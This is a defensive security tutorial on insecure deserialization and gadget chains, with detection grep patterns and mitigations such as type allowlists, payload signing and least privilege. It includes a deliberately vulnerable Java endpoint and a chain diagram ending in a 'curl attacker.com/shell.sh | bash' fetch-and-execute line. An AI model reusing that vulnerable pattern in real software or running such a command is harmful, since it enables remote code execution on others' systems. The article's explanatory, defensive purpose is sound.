Insecure Deserialization: Spotting and Defusing Gadget Chain Attacks
Your application accepts a serialized object from a client, hands it straight to a native deserializer, and trusts the result. An attacker sends a carefully crafted payload built from classes already on your classpath, and your own server executes arbitrary shell commands without ever touching your application logic. That is a gadget chain attack, and it has been burning production systems since before it made the OWASP Top 10.
What You'll Learn
- What insecure deserialization is and why gadget chains make it critical severity
- How to identify vulnerable deserialization points in Java, Python, and PHP codebases
- How to trace a real gadget chain step by step
- Practical mitigations: allowlists, signing, serialization alternatives
- Common mistakes developers make when trying to fix the issue
What Is Insecure Deserialization?
Serialization converts an in-memory object into a byte stream or text format so it can be stored or transmitted. Deserialization reconstructs that object on the other side. The problem is not the concept β it is the assumption that whatever arrives for deserialization can be trusted.
When an application deserializes data that an attacker can tamper with, the attacker gets to control the object graph being reconstructed. Depending on the language and runtime, simply constructing certain objects triggers side effects: method calls, file writes, network connections, or process spawning. No vulnerability in your own code is required. The attacker chains together legitimate classes from trusted libraries to produce a malicious outcome.
This class of bug is rated A08 in the OWASP Top 10 and has produced critical CVEs in nearly every major enterprise platform, including Apache Commons Collections, Spring Framework, and Ruby on Rails.
How Gadget Chains Turn Libraries Into Weapons
A gadget is any class on the application's classpath whose deserialization behavior produces a useful side effect for an attacker. A gadget chain is a sequence of these classes where each one's constructor, readObject method, or property setter calls the next, eventually reaching a sink β a point that executes arbitrary code or commands.
The attacker does not inject new code. Every class in the chain is a legitimate dependency your application already trusts. The payload is a serialized object tree that looks like normal data but exercises the chain when the deserializer reconstructs it.
Think of it like this: your application has a loaded gun (the runtime), an attacker-accessible trigger (the deserializer), and a path to the trigger made entirely from your own dependencies. Tools like ysoserial (Java) and PHPGGC (PHP) automate building these payloads for dozens of known library versions. An attacker only needs to know which libraries your app ships.
Common Vulnerable Targets by Language
Java
Java's native serialization (ObjectInputStream) is the most widely exploited target. Any class implementing java.io.Serializable can override readObject(), and many do β including classes in Apache Commons Collections, Spring, and Groovy. If your classpath contains these libraries and you pass untrusted bytes to ObjectInputStream.readObject(), you are likely vulnerable.
Common entry points: HTTP request bodies, cookies (especially in older Java EE containers), RMI and JMX endpoints, and custom binary protocols.
Python
Python's pickle module is the canonical example. The __reduce__ magic method lets any class define exactly what gets called when it is unpickled. A payload that calls os.system or subprocess.Popen is trivial to write. Similar issues exist with yaml.load() when used without Loader=yaml.SafeLoader.
PHP
PHP's unserialize() function triggers magic methods (__wakeup, __destruct, __toString) on reconstructed objects. Frameworks like Laravel, Magento, and Drupal have all shipped gadget chains that could be triggered by passing attacker-controlled data to unserialize().
.NET
The BinaryFormatter class, now deprecated by Microsoft, is the main culprit. XmlSerializer and DataContractSerializer can also be misused when the type list is not locked down. Legacy WCF and ASP.NET ViewState endpoints are common targets.
Spotting Insecure Deserialization in Code Reviews
Start by searching for the deserializer call sites. These are the grep patterns worth running against your codebase first:
# Java
grep -rn "ObjectInputStream" src/
grep -rn "readObject" src/
# Python
grep -rn "pickle.loads\|pickle.load\|yaml.load" src/
# PHP
grep -rn "unserialize" src/
# .NET
grep -rn "BinaryFormatter\|LosFormatter" src/
Finding the call site is just step one. For each hit, trace the data backward to its source. Ask: can an attacker influence the bytes that reach this call? Common sources include HTTP request bodies, query parameters, cookies, session data, Redis or Memcached values, and inter-service messages over message queues.
If attacker-controlled bytes can reach a native deserializer, treat it as critical regardless of what authentication gates the endpoint. Authentication bypasses β including JWT validation flaws that let attackers forge tokens β can expose authenticated deserialization endpoints to unauthenticated exploitation.
Also audit your dependencies. Run ysoserial's payload list against your Java classpath to see which gadget chains are available. If Commons Collections 3.1 is on the path, you have a working RCE gadget whether you know it or not.
Reproducing a Gadget Chain Attack (Java Example)
The following walks through the mechanics without producing a weaponized payload. The goal is to understand why this works so you can recognize and fix it.
Consider a simplified server that reads a serialized object from an HTTP request body:
// Vulnerable endpoint β DO NOT deploy this
@PostMapping("/load")
public ResponseEntity<String> load(@RequestBody byte[] body) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(body));
Object obj = ois.readObject(); // Attacker controls this
return ResponseEntity.ok(obj.toString());
}
When readObject() is called, Java deserializes the object graph in the byte stream. If the stream encodes a crafted object from Apache Commons Collections (for example, a LazyMap wrapping an InvokerTransformer), reconstructing that object graph triggers a chain of method calls that ends by invoking Runtime.exec() with attacker-supplied arguments.
The attacker never touched your load() method logic. The execution happens entirely inside the JDK and the library's own readObject and getter implementations. The chain might look like this at a conceptual level:
ObjectInputStream.readObject()
β LazyMap.readObject()
β LazyMap.get(key)
β InvokerTransformer.transform()
β Runtime.exec("curl attacker.com/shell.sh | bash")
Every node in that chain is a legitimate class call. None of it is code you wrote.
Defusing Deserialization: Concrete Mitigations
1. Stop Deserializing Untrusted Data at All
The safest fix is to not use native serialization for data that crosses a trust boundary. Switch to a data-only format like JSON, Protobuf, or MessagePack, where the schema is defined separately from execution logic. No magic methods, no class instantiation outside your control.
# Instead of:
import pickle
obj = pickle.loads(user_supplied_bytes) # Dangerous
# Use:
import json
data = json.loads(user_supplied_string) # Safe β no code execution path
2. Validate With an Allowlist Before Deserializing
If you must use native serialization, restrict which classes can be deserialized. Java 9 introduced serialization filters (ObjectInputFilter) for exactly this purpose:
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filterInfo -> {
Class<?> cl = filterInfo.serialClass();
if (cl == null) return ObjectInputFilter.Status.UNDECIDED;
// Only allow your own safe data-transfer objects
if (cl.getName().startsWith("com.yourapp.dto.")) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
This rejects any class outside your approved package before it is instantiated, which breaks all known gadget chains.
3. Sign and Verify Serialized Payloads
If serialized data must travel to a client and back (for example, a session token or a cookie), sign it with an HMAC using a server-side secret before sending it out, and verify the signature before deserializing on receipt. A tampered payload will fail the HMAC check and never reach the deserializer.
import hmac
import hashlib
import base64
SECRET = b"your-server-side-secret"
def sign_payload(payload_bytes: bytes) -> str:
sig = hmac.new(SECRET, payload_bytes, hashlib.sha256).digest()
return base64.b64encode(sig + payload_bytes).decode()
def verify_and_extract(signed: str) -> bytes:
raw = base64.b64decode(signed)
sig, payload = raw[:32], raw[32:]
expected = hmac.new(SECRET, payload, hashlib.sha256).digest()
if not hmac.compare_digest(sig, expected):
raise ValueError("Payload integrity check failed")
return payload
This does not make the deserializer safe by itself β never deserialize without an allowlist β but it ensures you only deserialize data your server originally produced.
4. Upgrade and Patch Vulnerable Libraries
Apache Commons Collections, Spring Framework, and similar libraries have released patches that remove or neutralize the gadget classes. Keeping dependencies current closes many known chains without any code change on your part. Use a software composition analysis (SCA) tool to flag transitive dependencies with known CVEs.
5. Run With Least Privilege
Even if an attacker successfully triggers a gadget chain, the damage is bounded by the OS-level permissions of the process. Run application servers as a low-privilege user, use containers with restricted capabilities, and apply seccomp or AppArmor profiles that block dangerous syscalls like execve. This is a defense-in-depth layer, not a substitute for fixing the root cause.
This principle applies broadly to cloud workloads too. Just as you would restrict an application's IAM role to reduce the blast radius of SSRF attacks that abuse cloud metadata endpoints, you should ensure a compromised deserialization path cannot reach cloud credentials or sensitive instance metadata.
6. Use a Java Agent or WAF Rule as a Stopgap
Projects like SerialKiller and NotSoSerial are Java agents that intercept ObjectInputStream at the JVM level and apply allowlist/denylist rules without changing application code. This is a useful stopgap while you migrate to safer serialization, not a permanent solution.
Common Pitfalls When Fixing Deserialization Issues
Denylist thinking: Blocking specific gadget classes (like org.apache.commons.collections.functors.InvokerTransformer) feels satisfying but it is a treadmill. New gadget chains get discovered constantly. An allowlist of types you expect is the only durable approach.
Assuming authentication protects you: Many teams treat an authenticated endpoint as a lower-severity finding. Authentication can be bypassed, stolen, or forged. Deserialization bugs are pre-authentication in effect once a session is compromised. Treat all deserializer call sites as if they are publicly reachable.
Forgetting indirect entry points: Not all deserialization happens in HTTP handlers. Message queue consumers, cache loaders, RMI endpoints, and batch file processors are common places where serialized data arrives from an external source without obvious security controls.
Incomplete dependency scanning: You may have patched Commons Collections directly, but a transitive dependency may still pull in the old version. Use mvn dependency:tree or gradle dependencies to inspect the full resolved classpath, not just your direct dependencies.
Trusting format as a filter: JSON or XML are not automatically safe if you deserialize them into polymorphic types without a type allowlist. Jackson's enableDefaultTyping() and similar features in other JSON libraries have produced deserialization CVEs of their own.
Wrapping Up: Next Steps
Gadget chain attacks are high-severity precisely because they require no flaw in your own code β only a naive trust in whatever bytes arrive at a deserializer. Here is what to do now:
- Audit your codebase with the grep patterns above and map every deserializer call site to its data source.
- Switch to data-only formats (JSON, Protobuf) for any data crossing a trust boundary, starting with the highest-exposure endpoints.
- Apply serialization filters (Java's
ObjectInputFilter, PHP'sallowed_classesparameter, or Python'sRestrictedUnpickler) wherever native deserialization is unavoidable. - Run an SCA scan to identify transitive dependencies that contain known gadget classes and update them.
- Add runtime least-privilege controls at the OS and container level so that even a successful exploit has limited reach.
Frequently Asked Questions
What is the difference between insecure deserialization and a gadget chain attack?
Insecure deserialization is the broad vulnerability class where an application deserializes attacker-controlled data without sufficient validation. A gadget chain attack is a specific exploitation technique that strings together legitimate classes already on the classpath to produce a dangerous side effect, like remote code execution, purely through the act of deserialization.
Which Java libraries are most commonly exploited in gadget chain attacks?
Apache Commons Collections (especially versions 3.x), Spring Framework, Groovy, and Apache Commons BeanUtils have all been used in well-documented gadget chains. The ysoserial project maintains a list of payload modules that reflects which library versions contain exploitable chains.
Does switching to JSON serialization completely eliminate deserialization risk?
Switching to a data-only format like JSON removes the code-execution risk present in native serializers, but it does not eliminate all deserialization risk. Libraries that support polymorphic type deserialization (such as Jackson with default typing enabled) can still be exploited if attacker-controlled type information reaches the deserializer. Always use strict type allowlists.
How can I test my application for insecure deserialization vulnerabilities?
Start by identifying all deserializer call sites in your code and tracing their inputs back to external sources. Then use tools like ysoserial (Java), PHPGGC (PHP), or pickora (Python) to generate test payloads and confirm whether your endpoint processes them. Burp Suite's Backslash Powered Scanner and the Java Deserialization Scanner extension also automate detection in HTTP traffic.
Is Python's pickle module safe if I only deserialize data from my own database?
If you fully control the data pipeline and no external party can ever write to that database path, the risk is significantly reduced. In practice, database contents can be tampered with via SQL injection or compromised services, so the safer approach is to use json or another schema-validated format for stored objects and reserve pickle only for internal, fully-isolated caching layers.
π€ Share this article
Sign in to saveRelated Articles
Comments (0)
No comments yet. Be the first!